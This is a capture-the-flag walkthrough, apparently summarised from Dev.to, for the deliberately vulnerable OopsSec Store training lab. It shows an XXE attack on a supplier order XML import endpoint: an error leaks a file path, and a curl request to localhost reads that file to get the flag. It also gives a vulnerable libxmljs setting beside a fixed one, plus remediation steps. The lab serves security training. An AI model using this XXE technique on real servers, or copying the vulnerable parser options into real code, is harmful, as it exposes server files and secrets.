An error message gave me the path. The XML parser gave me the file
Exploiting an insecure XML parser in the supplier order import feature to read arbitrary server-side files and retrieve a flag. The OopsSec Store admin panel has a supplier order import page that parses XML. The parser resolves external entities, so we can use it to read arbitrary files off the server. Lab setup From an empty directory: npx create-oss-store oss-store cd oss-store npm start Or with Docker (no Node.js required): docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store Head to http://localhost:3000. Prerequisites -- gaining admin access The import feature is admin-only. You'll need to get admin access first through another vulnerability. Reconnaissance The supplier import page Once you have admin access, the dashboard at /admin has a "Supplier Orders" link pointing to /admin/suppliers. The page has a textarea for pasting XML and an "Import Order" button. A sample template is already filled in: SUP-001 PO-2026-0042 1250.00 Standard delivery — net 30 terms The API Submitting the form sends a POST to /api/admin/suppliers/import-order with Content-Type: application/xml. The response comes back with the parsed fields: { "message": "Supplier order imported successfully.", "order": { "id": "...", "supplierId": "SUP-001", "orderId": "PO-2026-0042", "total": 1250, "notes": "Standard delivery — net 30 terms", "createdAt": "..." } } The notes field comes straight from the XML input. That's our injection point. Exploiting the XXE vulnerability The target file Send malformed XML (missing required fields, bad structure) and the endpoint gives back verbose errors. The response includes a debug object that leaks the absolute path to a file: { "error": "Missing required fields: supplierId and orderId.", "debug": { "config": "/absolute/path/to/flag-xxe.txt", "received": { "supplierId": null, "orderId": null } } } That's flag-xxe.txt at the project root. The payload XML supports Document Type Definitions (DTDs) that let you define entities. A SYSTEM entity tells the parser to load content from an external resource: SUP-001 PO-2026-0001 0 &xxe; When the parser hits &xxe;, it reads the file and drops its contents into notes. Send it Paste it into the import form, or fire it off with curl: curl -X POST http://localhost:3000/api/admin/suppliers/import-order \ -H "Content-Type: application/xml" \ -H "Cookie: authToken=" \ -d 'SUP-001PO-XXE0&xxe;' The flag The file contents come back in notes: { "message": "Supplier order imported successfully.", "order": { "supplierId": "SUP-001", "orderId": "PO-XXE", "total": 0, "notes": "# Supplier Integration API Configuration\n# Generated automatically — do not edit\n\napi_key=OSS{xml_3xt3rn4l_3nt1ty_1nj3ct10n}\nendpoint=https://suppliers.oss-store.internal/api/v2\ntimeout=30000\n" } } The flag is OSS{xml_3xt3rn4l_3nt1ty_1nj3ct10n}. Secure implementation // VULNERABLE — resolves external entities from user input const doc = libxmljs.parseXmlString(rawXml, { noent: true, dtdload: true }); // SECURE — disable DTD processing entirely const doc = libxmljs.parseXmlString(rawXml); // Additionally: strip or reject any DOCTYPE declarations before parsing After the fix: Vulnerability chain This exploit chains two bugs: Admin access, for example via JWT forgery (CWE-347) or mass assignment (CWE-915) XXE injection (CWE-611) -- the XML parser resolves external entity declarations, letting you read arbitrary files off the server Remediation To fix this in a real app: Disable DTD processing in your XML parsers. Most libraries have flags to reject DOCTYPE declarations outright. Disable external entity resolution. Tell the parser to ignore SYSTEM and PUBLIC entity declarations. Use JSON for data exchange where you can. JSON doesn't have entity expansion. Strip DOCTYPE declarations from XML before parsing. Run the app process with minimal file system permissions. It shouldn't be able to read config files it doesn't need. Lab kOaDT / oss-oopssec-store Security training for the apps you actually ship. Open your browser and start hacking. OSS - OopsSec Store Security training for the apps you actually ship. 36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma. Find the bugs. Exploit them. Understand why they work Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues ____ ____ ____ ____ ____ ____ _ / __ \/ __// __/ / __ \ ___ ___ ___ / __/ ___ ____ / __/ / /_ ___ ____ ___ / /_/ /\ \ _\ \ / /_/ // _ \ / _ \(_-
This is a summary aggregated from Dev.to. Read the complete article on the original site:
Read full article at Dev.to